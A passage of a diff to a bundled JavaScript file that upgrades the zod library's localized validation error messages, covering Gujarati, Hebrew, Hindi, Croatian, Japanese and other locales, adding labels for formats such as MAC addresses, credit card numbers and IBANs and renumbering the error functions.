"\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -95156,6 +96578,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -95169,13 +96593,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -95293,12 +96722,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -95329,12 +96870,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -95416,17 +96961,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -95452,12 +96998,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -95525,11 +97075,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -95540,7 +97090,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -95569,6 +97119,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -95595,12 +97152,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -95673,17 +97234,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -95709,12 +97271,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -95780,17 +97346,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -95816,12 +97383,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -95890,17 +97461,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -95926,12 +97498,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -95999,17 +97575,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -96035,12 +97612,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -96107,17 +97688,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -96143,12 +97725,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -96220,17 +97806,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -96256,12 +97843,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: 